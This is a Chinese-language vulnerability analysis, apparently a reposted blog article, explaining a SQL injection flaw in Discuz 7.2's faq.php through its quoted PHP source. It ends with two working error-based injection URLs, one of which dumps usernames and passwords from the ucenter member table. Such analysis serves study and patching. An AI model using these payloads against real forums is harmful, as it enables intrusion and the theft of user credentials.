Discuz 7.2 faq.php漏洞分析

Posted vspiders

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Discuz 7.2 faq.php漏洞分析相关的知识,希望对你有一定的参考价值。

漏洞发生在页面faq.php中,源码如下:

 elseif($action == \'grouppermission\') {ksort($gids);
    $groupids = array();
    foreach($gids as $row) {
        $groupids[] = $row[0];
    }

    $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

这段话的意思是在首先针对数组$gids按照其关键字进行升序操作,然后取变量数组$gids中每个关键字的值的第一位$row[0]存到$groupids数组中,之后使用implodeids()函数生成一个字符串带入sql查询语句中。

这里每当我们输入一个$gids参数时,都会默认进行转义操作,即如果我们输入单引号\',那么存储的最终数据为\\\',但是他每次都会只取出数组中的第一位值,即此时的$row[0]=‘\\’,这时会把\\取出来放到$groupids数组中。

假设输入单引号后的$gids数组的值是{\'1\',\'\\\'\',\'3\',\'4\'},然后我们取其第一位值放到$groupids数组中,此时$groupids={\'1\',\'\\\',\'3\',\'4\'}。

然后我们开始看implodeids()函数,在global.fanc.php文件中

function implodeids($array) {
    if(!empty($array)) {
        return "\'".implode("\',\'", is_array($array) ? $array : array($array))."\'";
    } else {
        return \'\';
    }
}

就是把数组各个数组使用\',\'连接到一起。

那么$groupids经过该函数之后就变为\'1\',\'\\\',\'3\',\'4\';

此时就出现了问题,因为第四个单引号由于左边右斜杠\\的存在强行被转义为单引号字符,不会再与第三个单引号闭合,此时第三个单引号将与第五个单引号形成闭合,3位置就会出现逃逸,此时构造3位置为payload即可形成注入。3处输入右括号与前面进行封闭,然后and+一个新的查询语句即可。

此时payload可写为:

http://127.0.0.1/dz/faq.php?action=grouppermission&gids[80]=\'&gids[81][0]=) and updatexml(1,concat(0x7e,(select @@version)),1)%23

http://127.0.0.1/dz/faq.php?action=grouppermission&gids[80]=\'&gids[81][0]=) and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from ucenter.uc_members)),1)%23

 

以上是关于Discuz 7.2 faq.php漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章

discuz7.2 faq.php 注入漏洞分析

Discuz!7.2漏洞利用过程演示

DISCUZ 7.2模板用户信息栏的背景色问题

Discuz! ML远程代码执行(CVE-2019-13956)

2022-10-08(Discuz漏洞FCKeditor文本编辑器漏洞ZooKeeper 未授权访问Memcahe 未授权访问)

从阅读Discuz的核心代码并给出注释的经历分析程序员该如何阅读代码?